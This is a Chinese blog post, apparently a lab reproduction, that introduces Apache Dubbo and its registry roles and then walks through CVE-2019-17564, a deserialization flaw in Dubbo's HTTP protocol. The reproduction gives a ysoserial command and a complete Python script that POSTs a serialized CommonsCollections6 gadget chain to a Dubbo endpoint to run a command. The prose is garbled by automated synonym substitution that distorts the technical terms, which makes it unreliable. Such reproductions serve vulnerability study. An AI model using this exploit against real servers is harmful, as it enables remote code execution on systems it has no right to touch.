Java平安-Dubbo
What is Dubbo
Apache Dubbo 是高性能的Java RPC框架。
RPC
远程过程调用,不同于RMI,一个面向过程,一个面向对象。
效劳器A和B分别部署了一个应用,A想调用B的办法,但是它们的部署的应用不在同一个内存空间,就不能直接调用,所以需求经过网络来表达调用的语义和传达的数据。
看一下Dubbo的根本工作原理
中间的通讯协议运用dubbo协议。
先分清这几个角色
- Container 效劳运转的容器
-
Provider RPC效劳提供方
-
Registry 注册中心
-
Consumer RPC效劳消费者
-
Monitor 监控中心
调用关系阐明:
首先容器开启并提供RPC效劳,然后
- 效劳提供者在启动时,向注册中心注册本人提供的效劳。
-
效劳消费者在启动时,向注册中心订阅本人所需的效劳。
-
注册中心返回效劳提供者地址列表给消费者,假如有变卦,注册中心将基于长衔接推送变卦数据给消费者。
-
效劳消费者,从提供者地址列表中,基于软负载平衡算法,选一台提供者停止调用,假如调用失败,再选另一台调用。
-
效劳消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。
Zookeeper
Zookeeper 是Dubbo引荐运用的注册中心,装置参考
https://dubbo.apache.org/zh/docsv2.7/admin/install/zookeeper/
不开启集群
然后开启,Zookeeper注册中心。
分包
分包简单来说就是把效劳中需求的接口和模型,以及异常都抽离出来放在一个API包里,这样更便当Consumer和Provider 来完成。
搭建参考
https://github.com/apache/dubbo-samples/
CVE-2019-17564
简述
Apache Dubbo在运用HTTP协议停止通讯时,是直接运用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用的,而这个过程会读取POST恳求的Body内容并停止反序列化操作,从而招致反序列化破绽的存在进而RCE。
影响版本
复现剖析
https://github.com/apache/dubbo-samples/ 中的 http 来做demo,
再添加一个cc依赖
翻开zookeeper 然后运转 httpprovider,
能够看到dubbo的通讯协议是http协议。
运转consumer,运用wireshark追一下tcp流
由于直接运用127.0.0.1 ,数据包回环,不经过网卡,简单设置一下路由规则就好。
route add 192.168.1.6 mask 255.255.255.255 192.168.1.1 metric 1
route delete 192.168.1.6 mask 255.255.255.255 192.168.1.1 metric 1
Content-Type: application/x-java-serialized-object
用来指定java序列化的对象,尝试结构歹意的序列化数据,攻击provider本地的gadgets
java -jar ysoserial.jar CommonsCollections6 calc|base64 -w0
import requests import base64 url = "http://192.168.1.6:8081/org.apache.dubbo.samples.http.api.DemoService" payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=" payload = base64.b64decode(payload) headers = {"Content-Type": "application/x-java-serialized-object"} res = requests.post(url,headers=headers,data=payload) print(res.text)
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者